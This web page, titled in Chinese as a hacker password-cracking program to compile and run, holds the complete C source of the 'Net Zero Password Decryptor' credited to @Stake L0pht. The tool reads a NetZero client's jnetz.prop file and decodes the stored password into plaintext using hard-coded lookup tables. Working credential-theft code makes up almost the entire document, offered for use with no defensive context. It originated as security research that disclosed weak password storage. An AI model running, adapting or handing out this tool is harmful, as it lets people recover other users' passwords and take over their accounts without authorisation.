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駭客破解密碼程式--原始碼---C語言編譯執行
#include <stdio.h>
#include <string.h>
#define UID_SIZE 64
駭客破解密碼程式----原始碼---C語言編譯執行
#define PASS_CIPHER_SIZE 128
#define PASS_PLAIN_SIZE 64
#define BUF_SIZE 256
const char decTable[6][16] = {
{'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'},
{'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',0},
{'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'},
{'P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'},
{'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'},
{' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'}
};
int nz_decrypt(char cCipherPass[PASS_CIPHER_SIZE],
char cPlainPass[PASS_PLAIN_SIZE])
{
int passLen, i, idx1, idx2;
passLen = strlen(cCipherPass)/2;
if (passLen > PASS_PLAIN_SIZE)
{
printf("Error: Plain text array too small\n");
return 1;
}
for (i = 0; i < passLen; i++)
{
switch(cCipherPass[i])
{
case '1':
idx2 = 0; break;
case 'a':
idx2 = 1; break;
case 'M':
idx2 = 2; break;
case 'Q':
idx2 = 3; break;
case 'f':
idx2 = 4; break;
case '7':
idx2 = 5; break;
case 'g':
idx2 = 6; break;
case 'T':
idx2 = 7; break;
case '9':
idx2 = 8; break;
case '4':
idx2 = 9; break;
case 'L':
idx2 = 10; break;
case 'W':
idx2 = 11; break;
case 'e':
idx2 = 12; break;
case '6':
idx2 = 13; break;
case 'y':
idx2 = 14; break;
case 'C':
idx2 = 15; break;
default:
printf("Error: Unknown Cipher Text index: %c\n", cCipherPass[i]);
return 1;
break;
}
switch(cCipherPass[i+passLen])
{
case 'g':
idx1 = 0; break;
case 'T':
idx1 = 1; break;
case 'f':
idx1 = 2; break;
case '7':
idx1 = 3; break;
case 'Q':
idx1 = 4; break;
case 'M':
idx1 = 5; break;
default:
printf("Error: Unknown Cipher Text Set: %c\n",
cCipherPass[i+passLen]);
return 1;
break;
}
cPlainPass[i] = decTable[idx1][idx2];
}
cPlainPass[i] = 0;
return 0;
}
int main(void)
{
FILE *hParams;
char cBuffer[BUF_SIZE], cUID[UID_SIZE];
char cCipherPass[PASS_CIPHER_SIZE], cPlainPass[PASS_PLAIN_SIZE];
int done = 2;
printf("\nNet Zero Password Decryptor\n");
printf("Brian Carrier [bcarrier@atstake.com]\n");
printf("@Stake L0pht Research Labs\n");
printf("http://www.atstake.com\n\n");
if ((hParams = fopen("jnetz.prop","r")) == NULL)
{
printf("Unable to find jnetz.prop file\n");
return 1;
}
while ((fgets(cBuffer, BUF_SIZE, hParams) != NULL) && (done > 0))
{
if (strncmp(cBuffer, "ProfUID=", 8) == 0)
{
done--;
strncpy(cUID, cBuffer + 8, UID_SIZE);
printf("UserID: %s", cUID);
}
if (strncmp(cBuffer, "ProfPWD=", 8) == 0)
{
done--;
strncpy(cCipherPass, cBuffer + 8, PASS_CIPHER_SIZE);
printf("Encrypted Password: %s", cCipherPass);
if (nz_decrypt(cCipherPass, cPlainPass) != 0)
return 1;
else
printf("Plain Text Password: %s\n", cPlainPass);
}
}
fclose(hParams);
if (done > 0)
{
printf("Invalid jnetz.prop file\n");
return 1;
} else {
return 0;
}
}
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